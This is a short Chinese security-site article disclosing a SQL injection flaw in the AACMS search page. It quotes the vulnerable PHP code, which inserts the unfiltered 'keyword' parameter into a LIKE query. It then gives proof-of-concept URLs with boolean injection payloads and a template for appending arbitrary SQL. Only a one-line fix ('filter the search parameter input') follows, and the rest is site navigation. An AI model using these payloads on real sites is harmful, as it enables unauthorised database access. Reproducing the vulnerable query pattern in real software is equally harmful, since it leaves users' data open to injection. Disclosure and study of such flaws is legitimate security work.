AACMS 注射0day及修复 - 网站安全

AACMS 注射0day及修复 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] include_once #39;common.php#39;;$keyword = $_REQUEST[#39;keyword#39;]; //.....!@#$%^*if(empty($keyword)) sexit($lang[#39;arg_error#39;]);$where = #39;#39;;$where .= title LIK......

include_once 'common.php';

$keyword = $_REQUEST['keyword']; //.....!@#$%^&*

if(empty($keyword)) sexit($lang['arg_error']);

$where = '';

$where .= " title LIKE '%{$keyword}%'";//%模糊查询，。

$title = '搜索';

....

include template('search');

POC
http://www.2cto.com /search.php?keyword=w%'%20and%201=1%20and%20'%'=' //and 1=1
http://www.2cto.com /search.php?keyword=w%'%20and%201=2%20and%20'%'=' //and 1=2
http://www.2cto.com /search.php?keyword={关键字}{SQL}

修复：过滤搜索页面参数输入

kuwebs 0day及修复 - 网站安全 - 自学php

XSS获取远程路径并发送到邮件 - 网站安全 - 自学

子栏目

AACMS 注射0day及修复 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论